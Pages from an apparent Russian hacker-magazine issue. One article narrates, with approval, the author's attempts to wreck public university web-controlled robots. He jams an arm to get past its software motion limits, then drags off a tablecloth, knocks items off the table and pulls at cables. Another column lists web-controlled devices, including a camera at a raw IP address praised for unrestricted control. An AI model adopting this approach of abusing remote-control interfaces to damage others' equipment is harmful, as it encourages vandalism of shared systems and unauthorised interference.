Всех сильно приколола возможность управлять роботами через Инет. Многие попробовали, и я тоже освоил несколько! Надо сказать, что возня с координатами робоклешни - порядочный гимор. И после нескольких неудачных попыток взять двумя убогими металлическими пальцами кубик озвереваешь, и хочется что-нибудь сломать. Одно дело, если робот был рядом, тогда берешь молоток погромче или водопроводную трубу и идешь разбираться с обидчиком. Например, мой очень нервный приятель на этот случай клал с собой кувалду, когда что-то паял. Ну а если этого важного инструмента не оказывалось под рукой, он кидал все об стену. А однажды он выкинул из окна банку хлорного железа для травления текстолита. Потом асфальт под его окнами был ржавым очень-очень долго.

Так вот, WEB-управляемый робот плох тем, что до него нужно лететь в Австралию или в направлении иного края географии. Поскольку физический контакт с аппаратом практически исключен, пытаешься со злости за что-нибудь ухватить клешнею. И тут уж все зависит от разработчиков роборуки: насколько крепкими они соорудили стол и предметы, как далеко поставили WEB-камеры, убрали ли провода, поставили ли ограничения на движения манипулятора...

ПОПЫТКИ НАВРЕДИТЬ

Телеробот (http://telerobot.mech.uwa.edu.au/) не позволил мне даже выкинуть кубик за пределы стола. Просто в определенный момент манипулятор переставал двигаться дальше за пределы стола с кубиками. Причем, как назло, у стола сделаны бордюры, чтобы кубики не падали вниз. Но ничего, есть пара идей, как навредить: нужно попробовать построить очень высокую пирамидку рядом с краем и толкнуть ее, тогда часть кубиков все-таки упадет на пол. Еще хороший вариант: толкать кубики к бордюру, пока они не упрутся в него. На фотографии телеробот кажется очень мощным, поэтому есть надежда высадить таким образом стенку из оргстекла. Однако этим геморроем мы пока не заморочились, тем более что у этого ВЕБ-робота сейчас работает, к сожалению, только одна камера из трех. Это сильно затрудняет безобразие и осложняет манипуляции.

Разработчики телесадовника (http://telegarden.aec.at/) вообще сатанисты: сначала нужно зарегистрироваться, причем пароль и логин вышлют на мыло. Но даже после этого единственное, что можно делать, это только поливать и рассматривать растения. Причем залить растения нелегко, потому что провод скорее опрыскивает, чем по-настоящему льет водичку. Причем он еще и запоминает, где сколько налил воды, поэтому вряд ли получится устроить потоп в телесадике. Вся надежда на посадку своего семечка, это разрешат сделать только после того, как ты зайдешь на сайт несколько раз и польешь чужие растения. Интересно, робот будет рыть для семечка ямку? На обучающих фотках это, кажется, происходит. Так вот, было бы неплохо посадить такое семечко-паразит в центр чужого растения, чтобы робот расковырял при этом чей-то разросшийся папоротник. Жаль, телесадовник сделан с повышенными мерами безопасности, иначе все растения пересаживали бы с места на место по несколько раз в день и разбомбили всю кадку. Словом, эту попытку заняться ВЕБ-робовредительством тоже можно считать неудачной.


Спецвыпуск Xakep, номер #030, стр. 030-112-2, РобоХак

РобоХак

Електро-Утюг (e-tug@mail.ru)

Спецвыпуск Xakep, номер #030, стр. 030-112-2

РОБОХАК

Победу над очередным роботом (http://robotoy.elec.uow.edu.au) не предвещало ничто. Манипулятор маленький, кубиков мало, стол кажется необъятным. В ВЕБ-интерфейс добавлены ограничения на движения роборуки. Однако почти сразу я натолкнулся на интересный баг. Я хотел всего лишь сгрести кубики вместе и потому опустил клешню пониже. Однако рука почему-то не захотела двигать кубики. Оказалось, что стол кривой, и манипулятор просто цепляется за неровности и не двигается дальше. Однако программа WEB-интерфейса при таком простое остается в полной уверенности, что робот сдвинулся и корректирует допуски. То есть, специально заклинив руку, я получил возможность подвинуть ее за пределы программных ограничений. А двигать было куда: было видно, что сзади из манипулятора торчат провода. Но до них я не дотянулся, помешали аппаратные ограничения, оказалось, что робот просто механически не способен вращаться на все 180 градусов. Конечно, это стало понятно не сразу, наоборот, мне все время казалось, что до заветных проводов не хватает пары сантиметров, и я снова и снова заклинивал манипулятор, пока не убедился, что механический барьер преодолеть нельзя. Жаль, до проводов я не достал, но зато во время заклинивания чуть-чуть задралась клеенка. Было решено этим воспользоваться: я раскрыл клешню, подвел ее к задранному краю, опустил, сдвинул в сторону, чтобы получше зацепить, и дал команду закрыть.

Однако клешню тоже, оказывается, заклинивает, и закрыть ее не удалось. Пришлось поднять ее от стола, дать команду открыть, и только после этого удалось ухватить кленку металлическими пальцами. Я тащил в сторону и одновременно приподнимал, однако клеенка все время выскальзывала! Тогда я попытался ухватить ее, сложив вдвое, но она все равно выскользнула! У этих роботов, видимо, специально делают очень слабый захват, видимо чтобы интернетчики не раздавили кубики. Тогда я перешел к другой тактике: раскрыл клешню, опустил ее максимально близко к столу и стал аккуратно поддевать ею клеенку. Выяснилось, что робот двумя передними ножками стоит на куске ненавистной клеенки, а под нею самый обычный деревянный стол. В определенный момент рука все время застревала на складке - эх, были бы моторы помощнее, тогда можно было бы вообще все здесь изорвать в клочья.

Оказалось, что если дать механической руке разогнаться - она двигает мощнее. Мотая манипулятором из стороны в сторону :). Однако все равно она застревала где-то на середине. При этом робот начинал сам себя подталкивать к краю стола. Через некоторое время я уже дотягивался до края - этого достаточно, чтобы выкинуть кубики. Но с этим я не хотел спешить. Одной ножкой робот все-таки держал клеенку, и было решено высвободить ее. На это я убил около часа, цепляя клеенищу то с одной, то с другой стороны. И, наконец, она высвободилась! Почему-то после этого сервер стал сразу недоступен. Нет, меня не запалили, просто на сайт зашел другой пользователь и взял на себя управления. Видимо его удивил погром на выставочном стенде, и перец быстро свалил. Снова овладев управлением, я сразу же зацепил освободившуюся клеенищу и спихнул ее со стола вместе с кубиками.


Спецвыпуск Xakep, номер #030, стр. 030-112-3, РобоХак

РобоХак

Електро-Утюг (e-tug@mail.ru)

Спецвыпуск Xakep, номер #030, стр. 030-112-3

Как я уже говорил, во время возни с клеенкой робот сильно развернулся и сдвинулся к краю стола. Кстати, в одну из камер был виден кусок, похожий на системный блок компьютера. Жаль, клешня не доставала до него. Зато теперь моя железная лапа доставала до проводов, их было около четырех, а один из них - многодорожечная лента. Мне несколько раз удалось схватить за этот интерфейсный провод клешней и хорошенько дернуть. Я уже говорил, что робопальцы слабоваты, поэтому лента все время выскальзывала. И уронить компьютер на пол так и не удалось, однако на стенде был полный разгром, и я пошел спать удовлетворенным! Сделал гадость - на сердце радость.

К удовольствию всех моих друзей такой бедлам сохранялся на стенде все выходные, и только в воскресенье ночью кто-то все поправил. А через пару дней сайт и вовсе отключили. Но мне кажется, что его все равно скоро включат. А чтобы я снова не разбомбил там все, им придется привинтить робота к столу, убрать клеенку или приклеить ее, спрятать провода и компьютер, поставить робота еще дальше от края.

Механика - слабая сторона всех роботов, и если ее серьезно помучить, то что-нибудь обязательно отвалится или взглюкнет. Любой сможет разломать робота по сети, применив воображение. Жаль только, роботов таких немного - их беречь надо!


Спецвыпуск Xakep, номер #030, стр. 030-114-1, PAYALNIK Доктора Добрянского - железные веб-тулзы

PAYALNIK Доктора Добрянского - железные веб-тулзы

Спецвыпуск Xakep, номер #030, стр. 030-114-1

Если у тебя есть свои радио-

новости,

приколы,

методы,

решения,

инструменты,

устройства,

мнение,

поделись с нами. Прием радиомыслей на Dr.Cod@real.xakep.ru

новость: ОНИ СУЩЕСТВУЮТ!

Я уже давно пропагандирую возможность управлять реальными устройствами через компьютер. Тут даже не нужно ничего особенного программировать и ничего сверхъестественного не надо паять. Минимум, из железа - переделанный под свои нужды шнур от принтера. Из софта - примитивная программа на Трупо Ласкале, которая умеет включать определенную ногу LPT-порта.

Для простоты можешь посмотреть, как на этом принципе сделали гирлянду "бегущие огни" (http://www.vsi.ru/~sva/shems/lpt.htm). LPT-порт дает тебе возможность замыкать и размыкать 8 контактов. Этого достаточно, чтобы управлять через компьютер двумя игрушечными машинками!

Ах да, у нас же WEB-тулзы! Весь номер мы посвятили тому, как управлять компами через WEB. Если ты освоил эти методы, то без труда сможешь соорудить простенький механизм использования LPT с веб-паги.

Для тех, кто строит мегасистемы, можно предложить использовать более современные интерфейсы типа USB. И тут можно обойтись без изобретения очередного велосипеда, ведь USB-контроллеры встраивают во многие ПЛМ и микропроцессоры. По-простому: некоторые продвинутые радиодетали уже имеют свой собственный USB, LAN и другие интерфейсы. Так что на твою долю выпадают муки чистого творчества.

прикол: МОЖЕТ ЛИ LINUX ПРИГОТОВИТЬ КОФЕ?

Может! HOWTO по сопряжению пингвина с кофеваркой ты найдешь здесь: http://www.how-to.ru/linux/howto/Coffee-HOWTO.html. Электрические схемы расписаны подробно, а вот о создании софта написано вскользь, однако возможность использования WEB-интерфейса через CGI предусмотрена! Ничто не мешает вместо кофеварки подключить чайник, стиральную машину, холодильник, освещение в квартире, телевизор, телефон - всем этим реально управлять через WEB. Кстати, в Инете уже встречаются проекты промышленных кофеварок с WEB-интерфейсом (http://www.ias.uni-stuttgart.de/en/forschung/modellprozesse/kaffeeautomat.html).

Ученые не первое десятилетие безуспешно бьются над созданием искусственного интеллекта. Однако робособаки все еще достаточно туповаты. Другое дело - заполнить пустую голову своего механизированного питомца коллективным разумом интернет-сообщества? Так сделал Макс (http://max.scs.ryerson.ca/), ты можешь ездить в виде механической собачки по его квартире. Управление через Java Applet, а наблюдение через веб-камеру. У меня камера работала, а вот управление висло. Не суждено мне быть собачкой! Если не получается быть собачкой, то можно попробовать себя в роли машинки (http://www.hellspark.com/new/css/about.html). Управление тоже глючит, а видно все со стороны. Кстати, переделать обычную радиомашинку в WEB-тулзу тебе по силам самому.

Если машинки с собачками не вставляют, то попробуй себя в управлении игрушечной железной дорогой (http://membres.lycos.fr/arago/cyber-start.htm), только нужно правильно выбрать время. Макет железной дороги работает не круглые сутки!

Вообще, жуткая глючь эти онлайновые девайсы! Например, у робобочки (http://robot.anu.edu.au/), которая ездит по какому-то помещению, управление в порядке, а вот камера отказала! Зато мне удалось побыть марсоходом, блуждающим по вольеру с песочком. Очень удобный CGI-интерфейс, можно даже регулировать мощность двигателей. Очень рекомендую: http://redrover.ars.fh-weingarten.de/. Чувствуешь себя тараканом, роющимся в песке!


Спецвыпуск Xakep, номер #030, стр. 030-114-2, PAYALNIK Доктора Добрянского - железные веб-тулзы

PAYALNIK Доктора Добрянского - железные веб-тулзы

Спецвыпуск Xakep, номер #030, стр. 030-114-2

Любители растений могут поухаживать с помощью интернет-управляемого робота за телесадом (http://www.usc.edu/dept/garden/). В калифорнийском институте стоит большая кадка с землей, а посредине - робосадовод. Ты должен зарегистрироваться, ввести полученные логин и пароль, поиграть с роботом несколько дней и набрать 100 хитов, то есть сделать 100 действий. После этого тебе разрешат посадить свое семечко в общую кадку. Место посадки твоего растения будет отмечено точкой на карте кадки, ты сможешь каждый день заходить на сайт, чтобы проверить через web-камеру своего питомца и полить его! Вот такое роботизированное растительное веб-тамогочи.

А для любителей порисовать имеется робохудожник (http://pumapaint.rwu.edu/), неряшливо малюющий красками на листке бумаги по научению шизофреничных WEB-пользователей.

метод: РОБОРУКА И СТУДЕНТЫ

От веб-игрушек постепенно переходим к реальной жизни. Круглые сутки в онлайне висит австралийская роборука (http://telerobot.mech.uwa.edu.au/). Управление, реализованное в виде Java Applet, очень походит на систему управления настоящим промышленным роботом. Манипулятору отдаются самые настоящие команды, можно даже писать минипрограммки, прямо как на станке с ЧПУ (числовым программным управлением). Отдавая команды роботу через WEB-интерфейс, можно складывать различные фигуры из деревянного конструктора. К твоим услугам: бруски, цилиндры, пирамидки. Для просмотра используются 3 WEB-камеры - две черно-белые и одна цветная. На сайте лежит большая коллекция разнообразных творений веб-пользователей. А один фанат сложил из брусочков надпись "LINUX". В интерфейс управления механической рукой встроен удобный чат, так что ты можешь попросить пользователей освободить для тебя управление, чтобы можно было поиграть! Или же можешь наблюдать, как другие юзают руку, например, на моих глазах кто-то построил пирамидку!

Поискать других онлайновых роботов ты сможешь на сайте программы NASA "Космическая телемеханика". Студенты, которые играют с роборуками, в будущем, возможно, станут космическими специалистами. Тем более, что у создателей космических и web-контроллируемых роботов похожие проблемы: большие задержки распространения сигналов, небольшой угол обзора телекамер.

Кстати, о космосе! Вот тебе список роботелескопов (http://alpha.uni-sw.gwdg.de/~hessman/MONET/links.html). Даже в нашей стране есть один такой в Новосибирске. Хочется навести через WEB такой телескопчик в любую точку небосвода. Однако большинство из них то на ремонте, то на переоборудовании, то заняты. Словом, тебе придется попотеть, чтобы найти рабочий веб-телескоп.

Повезло студентам UTC! Лабораторные работы по физике организованы в виде WEB-тулзов. Измерения снимаются прямо на страничке, причем есть возможность увидеть и услышать работу некоторых лабораторных установок. Ты тоже можешь поучаствовать в лабах (http://chem.engr.utc.edu/Webres/Stations/controlslab.html).


Спецвыпуск Xakep, номер #030, стр. 030-114-3, PAYALNIK Доктора Добрянского - железные веб-тулзы

PAYALNIK Доктора Добрянского - железные веб-тулзы

Спецвыпуск Xakep, номер #030, стр. 030-114-3

решение: ГДЕ РАБОТАЮТ ЖЕЛЕЗНЫЕ WEB-TOOLS?

Самые распространенные тулзы - это WEB-камеры, но не простые, а с возможностью управления, когда ты можешь крутить камерой во все стороны и управлять увеличением. Такие камеры выпускаются промышленно. Я советую выбирать тихие местечки типа http://150.156.120.99/perimeter/default.html, где управление камерой никак не ограничено, и можно проиграть всласть. Все уже разочаровались в веб-камерах, так как многие уроды любят крутить по ним запись. Так вот, с робокамерой крутить запись практически невозможно.

А этот радиолюбитель подключил к Интернету свою коротковолновую станцию. Ты можешь самостоятельно выбрать тип модуляции и станцию. Если у тебя нет своего приемника радиолюбительского диапазона, можешь хоть чужой помучить (http://www.chilton.com/scripts/radio/R8-receiver). Это что, вот среди московских радиолюбителей распространено развлечение: транслировать в свою районную локальную сеть диапазоны милиции, МЧС и т.п. (типа Real-Audio). Тоже потенциальные ВЕБ-тулзы.

И снова вариации на тему "Как научить LINUX готовить кофе" (http://www.dataprobe.com/control/ipal.html). Можно купить готовый WEB-SWITCH, с готовым софтом, который по твоей команде будет включать и выключать все, к чему сможешь его присобачить. Фактически это розетка с выключателем типа "Пилота", только переключение контролируется через Инет. Конечно, есть модели и посложнее. Из таких приблуд собрали демонстрационный стол, за которым пользователь наблюдает через WEB-камеру. На этом столе ты можешь включать/отключать свет, монитор, щелкать переключателями.

Итак, реальные железные WEB-TOOLS у тебя дома уже не фантастика, а лишь вопрос времени и финансовых вливаний.

Доктор Добрянский не несет ответственности за любой вред, принесенный в результате использования опубликованной информации. Все методы и схемы даны только в ознакомительных целях.